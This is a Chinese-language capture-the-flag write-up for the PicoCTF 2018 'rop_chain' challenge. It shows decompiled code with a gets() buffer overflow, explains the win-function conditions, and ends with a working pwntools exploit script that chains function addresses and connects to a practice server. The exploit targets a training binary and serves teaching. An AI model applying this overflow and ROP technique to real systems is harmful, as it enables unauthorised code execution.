i386 小端序程序, IDA32打开
1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; setvbuf(_bss_start, 0 , 2 , 0 ); v4 = getegid(); setresgid(v4, v4, v4); vuln(); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __cdecl flag (int a1) { char s[48 ]; FILE *stream; stream = fopen("flag.txt" , "r" ); if ( !stream ) { puts ( "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server." ); exit (0 ); } fgets(s, 48 , stream); if ( win1 && win2 && a1 == 0xDEADBAAD ) return printf ("%s" , s); if ( win1 && win2 ) return puts ("Incorrect Argument. Remember, you can call other functions in between each win function!" ); if ( win1 || win2 ) return puts ("Nice Try! You're Getting There!" ); return puts ("You won't get the flag that easy.." ); }
1 2 3 4 5 6 7 char *vuln () { char s[24 ]; printf ("Enter your input> " ); return gets(s); }
1 2 if ( win1 && win2 && a1 == -559039827 ) return printf ("%s" , s);
满足条件 win1 存在 win2 并且 a1 = -559039827
, 按 H 可以转换成 Hex: 0xDEADBAAD
1 2 3 4 void win_function1 () { win1 = 1 ; }
(直接调用 win_function1的函数地址就可以赋值 win1 = 1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __cdecl win_function2 (int a1) { int result; result = (unsigned __int8)win1; if ( win1 && a1 == -1163220307 ) { win2 = 1 ; } else if ( win1 ) { result = puts ("Wrong Argument. Try Again." ); } else { result = puts ("Nope. Try a little bit harder." ); } return result; }
要使 win2 = 1 , 要满足 win1 存在并且 a1 == -1163220307
, 同理,按 H 转换为 Hex , 为 a1 == 0xBAAAAAAD
思路 (返回地址只是为了堆栈平衡,无需在意)
gets(s) 溢出
win1_funciton_addr (无形参)
win2_function_addr (win1_funciton_addr 的返回地址)
flag_addr (win2_function_addr 的返回地址)
win2_hex (win2_function_addr 的参数 a1) | (flag_addr 的返回地址)
flag_hex (flag_addr 的参数 a1)
解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *pwnfile= './PicoCTF_2018_rop_chain' elf = ELF(pwnfile) rop = ROP(pwnfile) io = remote("node5.buuoj.cn" ,28591 ) padding = 0x1c win2_hex = 0xBAAAAAAD flag_hex = 0xDEADBAAD win1_func_addr = 0x80485CB win2_func_addr = 0x80485D8 flag_addr = 0x804862B payload = b'a' * padding + p32(win1_func_addr) + p32(win2_func_addr) + p32(flag_addr) + p32(win2_hex) + p32(flag_hex) io.recvuntil("input>" ) io.sendline(payload) io.interactive()